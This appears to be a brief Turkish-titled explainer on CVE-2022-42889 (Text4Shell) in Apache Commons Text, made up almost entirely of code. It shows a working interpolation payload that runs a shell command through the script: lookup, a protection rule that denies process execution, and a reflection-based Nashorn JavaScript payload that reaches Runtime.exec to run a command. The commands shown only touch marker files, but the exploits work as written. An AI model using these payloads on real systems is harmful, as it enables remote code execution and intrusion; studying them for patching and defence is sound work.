CVE-2022-42889: Apache Commons Text Nedir ?

StringSubstitutor interp = StringSubstitutor.createInterpolator();

String str = "You have-> ${java:version}";
String rep = interp.replace(str);
Example output: You have-> Java version 19
String str = "You are-> ${env:USER}";
String rep = interp.replace(str);
Example output: You are-> doug

final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}");
System.out.println(out);

app("nashorn CVE-2022-42889"):
    requires(version: "ARMR/2.2")
    process("Deny any process execution"):
        execute("*")
        protect(message: "", severity: 7)
    endprocess
endapp

"function getIndexOfMethod(methodArray, methodName){\n" +
"    var count = 0;\n" +
"    for each (var method in methodArray){\n" +
"        if(method.toString() == methodName){\n" +
"            return count;\n" +
"        }\n" +
"        count++;\n" +
"    }\n" +
"    return null;\n" +
"}\n" +
" \n" +
"// Modify the command\n" +
"var command = \"touch /tmp/nashorn\";\n" +
" \n" +
"// Create an instance of class 'Class'\n" +
"var obj = ''['class'];\n" +
" \n" +
"// Get the list of all the methods\n" +
"var methods = obj.getClass().getMethods();\n" +
" \n" +
"// Find the index of 'forName()' method\n" +
"var forNameString = \"public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException\";\n" +
"var forNameMethodIndex = getIndexOfMethod(methods, forNameString);\n" +
" \n" +
"// Find the index of 'getRuntime()' method\n" +
"var runTimeMethods = methods[forNameMethodIndex].invoke(null, 'java.lang.Runtime').getMethods();\n" +
"var getRuntimeString = \"public static java.lang.Runtime java.lang.Runtime.getRuntime()\";\n" +
 "var getRunTimeMethodIndex = getIndexOfMethod(runTimeMethods, getRuntimeString);\n" +
" \n" +
"// Execute the command\n" +
"runTimeMethods[getRunTimeMethodIndex].invoke(null).exec(command);");